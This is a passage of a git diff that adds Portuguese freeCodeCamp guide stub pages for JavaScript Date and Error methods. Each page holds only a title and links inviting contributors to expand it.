+title: Date.prototype.getUTCFullYear
+localeTitle: Date.prototype.getUTCFullYear
+---
+## Date.prototype.getUTCFullYear
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcfullyear/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutchours/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutchours/index.md
new file mode 100644
index 0000000000..8c52861b2e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutchours/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCHours
+localeTitle: Date.prototype.getUTCHours
+---
+## Date.prototype.getUTCHours
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutchours/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcmilliseconds/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcmilliseconds/index.md
new file mode 100644
index 0000000000..d74a711ba1
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcmilliseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCMilliseconds
+localeTitle: Date.prototype.getUTCMilliseconds
+---
+## Date.prototype.getUTCMilliseconds
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcmilliseconds/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcminutes/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcminutes/index.md
new file mode 100644
index 0000000000..1d802c2fa3
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcminutes/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCMinutes
+localeTitle: Date.prototype.getUTCMinutes
+---
+## Date.prototype.getUTCMinutes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcminutes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcmonth/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcmonth/index.md
new file mode 100644
index 0000000000..b426d776cf
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcmonth/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCMonth
+localeTitle: Date.prototype.getUTCMonth
+---
+## Date.prototype.getUTCMonth
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcmonth/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcseconds/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcseconds/index.md
new file mode 100644
index 0000000000..23028d1bcc
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCSeconds
+localeTitle: Date.prototype.getUTCSeconds
+---
+## Date.prototype.getUTCSeconds
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcseconds/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setdate/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setdate/index.md
new file mode 100644
index 0000000000..0ffea99068
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setdate/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setDate
+localeTitle: Date.prototype.setDate
+---
+## Date.prototype.setDate
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setdate/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setfullyear/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setfullyear/index.md
new file mode 100644
index 0000000000..7803f468ed
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setfullyear/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setFullYear
+localeTitle: Date.prototype.setFullYear
+---
+## Date.prototype.setFullYear
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setfullyear/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-sethours/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-sethours/index.md
new file mode 100644
index 0000000000..5cfb7fb9cd
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-sethours/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setHours
+localeTitle: Date.prototype.setHours
+---
+## Date.prototype.setHours
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-sethours/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setmilliseconds/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setmilliseconds/index.md
new file mode 100644
index 0000000000..4e15d8477b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setmilliseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setMilliseconds
+localeTitle: Date.prototype.setMilliseconds
+---
+## Date.prototype.setMilliseconds
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setmilliseconds/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setminutes/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setminutes/index.md
new file mode 100644
index 0000000000..4094612f0f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setminutes/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setMinutes
+localeTitle: Date.prototype.setMinutes
+---
+## Date.prototype.setMinutes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setminutes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setmonth/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setmonth/index.md
new file mode 100644
index 0000000000..88375fc16a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setmonth/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setMonth
+localeTitle: Date.prototype.setMonth
+---
+## Date.prototype.setMonth
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setmonth/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setseconds/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setseconds/index.md
new file mode 100644
index 0000000000..a6bc441f79
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setSeconds
+localeTitle: Date.prototype.setSeconds
+---
+## Date.prototype.setSeconds
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setseconds/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-settime/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-settime/index.md
new file mode 100644
index 0000000000..8c64bc721c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-settime/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setTime
+localeTitle: Date.prototype.setTime
+---
+## Date.prototype.setTime
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-settime/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcdate/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcdate/index.md
new file mode 100644
index 0000000000..076393b149
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcdate/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCDate
+localeTitle: Date.prototype.setUTCDate
+---
+## Date.prototype.setUTCDate
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcdate/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcfullyear/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcfullyear/index.md
new file mode 100644
index 0000000000..26e2491eed
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcfullyear/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCFullYear
+localeTitle: Date.prototype.setUTCFullYear
+---
+## Date.prototype.setUTCFullYear
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcfullyear/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutchours/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutchours/index.md
new file mode 100644
index 0000000000..c28a4f0cb6
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutchours/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCHours
+localeTitle: Date.prototype.setUTCHours
+---
+## Date.prototype.setUTCHours
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutchours/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcmilliseconds/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcmilliseconds/index.md
new file mode 100644
index 0000000000..342c89179d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcmilliseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCMilliseconds
+localeTitle: Date.prototype.setUTCMilliseconds
+---
+## Date.prototype.setUTCMilliseconds
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcmilliseconds/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcminutes/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcminutes/index.md
new file mode 100644
index 0000000000..11803fb6a6
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcminutes/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCMinutes
+localeTitle: Date.prototype.setUTCMinutes
+---
+## Date.prototype.setUTCMinutes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcminutes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcmonth/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcmonth/index.md
new file mode 100644
index 0000000000..ffaed225d3
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcmonth/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCMonth
+localeTitle: Date.prototype.setUTCMonth
+---
+## Date.prototype.setUTCMonth
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcmonth/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcseconds/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcseconds/index.md
new file mode 100644
index 0000000000..0448cf1c93
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-setutcseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCSeconds
+localeTitle: Date.prototype.setUTCSeconds
+---
+## Date.prototype.setUTCSeconds
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcseconds/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-todatestring/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-todatestring/index.md
new file mode 100644
index 0000000000..c7eae2cc94
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-todatestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toDateString
+localeTitle: Date.prototype.toDateString
+---
+## Date.prototype.toDateString
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-todatestring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-toisostring/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-toisostring/index.md
new file mode 100644
index 0000000000..480f6a75ec
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-toisostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toISOString
+localeTitle: Date.prototype.toISOString
+---
+## Date.prototype.toISOString
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-toisostring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tojson/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tojson/index.md
new file mode 100644
index 0000000000..bfa5b5cb26
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tojson/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toJSON
+localeTitle: Date.prototype.toJSON
+---
+## Date.prototype.toJSON
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tojson/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tolocaledatestring/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tolocaledatestring/index.md
new file mode 100644
index 0000000000..2d53ff55ae
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tolocaledatestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toLocaleDateString
+localeTitle: Date.prototype.toLocaleDateString
+---
+## Date.prototype.toLocaleDateString
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tolocaledatestring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tolocaleformat/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tolocaleformat/index.md
new file mode 100644
index 0000000000..4303c80b0b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tolocaleformat/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.tolocaleformat
+localeTitle: Date.prototype.tolocaleformat
+---
+## Date.prototype.tolocaleformat
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tolocaleformat/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tolocalestring/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tolocalestring/index.md
new file mode 100644
index 0000000000..ecdc0e4ea1
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tolocalestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toLocaleString
+localeTitle: Date.prototype.toLocaleString
+---
+## Date.prototype.toLocaleString
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tolocalestring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tolocaletimestring/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tolocaletimestring/index.md
new file mode 100644
index 0000000000..6a428f4170
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tolocaletimestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toLocaleTimeString
+localeTitle: Date.prototype.toLocaleTimeString
+---
+## Date.prototype.toLocaleTimeString
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tolocaletimestring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tosource/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tosource/index.md
new file mode 100644
index 0000000000..15fdfc0bb5
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toSource
+localeTitle: Date.prototype.toSource
+---
+## Date.prototype.toSource
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tosource/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tostring/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tostring/index.md
new file mode 100644
index 0000000000..1ffec79870
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toString
+localeTitle: Date.prototype.toString
+---
+## Date.prototype.toString
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tostring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-totimestring/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-totimestring/index.md
new file mode 100644
index 0000000000..3650963e5d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-totimestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toTimeString
+localeTitle: Date.prototype.toTimeString
+---
+## Date.prototype.toTimeString
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-totimestring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-toutcstring/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-toutcstring/index.md
new file mode 100644
index 0000000000..a4cfd36796
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-toutcstring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toUTCString
+localeTitle: Date.prototype.toUTCString
+---
+## Date.prototype.toUTCString
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-toutcstring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-valueof/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-valueof/index.md
new file mode 100644
index 0000000000..267446ea30
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-valueof/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.valueOf
+localeTitle: Date.prototype.valueOf
+---
+## Date.prototype.valueOf
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-valueof/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-utc/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-utc/index.md
new file mode 100644
index 0000000000..db525bd312
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-utc/index.md
@@ -0,0 +1,11 @@
+---
+title: Date Utc
+localeTitle: Date Utc
+---
+## Date Utc
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-utc/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/index.md
new file mode 100644
index 0000000000..385b33872b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/index.md
@@ -0,0 +1,11 @@
+---
+title: Date
+localeTitle: Encontro
+---
+## Encontro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-columnnumber/index.md b/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-columnnumber/index.md
new file mode 100644
index 0000000000..972914057f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-columnnumber/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.columnNumber
+localeTitle: Error.prototype.columnNumber
+---
+## Error.prototype.columnNumber
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/error/error-prototype-columnnumber/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-filename/index.md b/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-filename/index.md
new file mode 100644
index 0000000000..627ed21e61
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/error/error-prototype-filename/index.md
@@ -0,0 +1,11 @@
+---
+title: Error.prototype.fileName
+localeTitle: Error.prototype.fileName
+---
+## Error.prototype.fileName
+
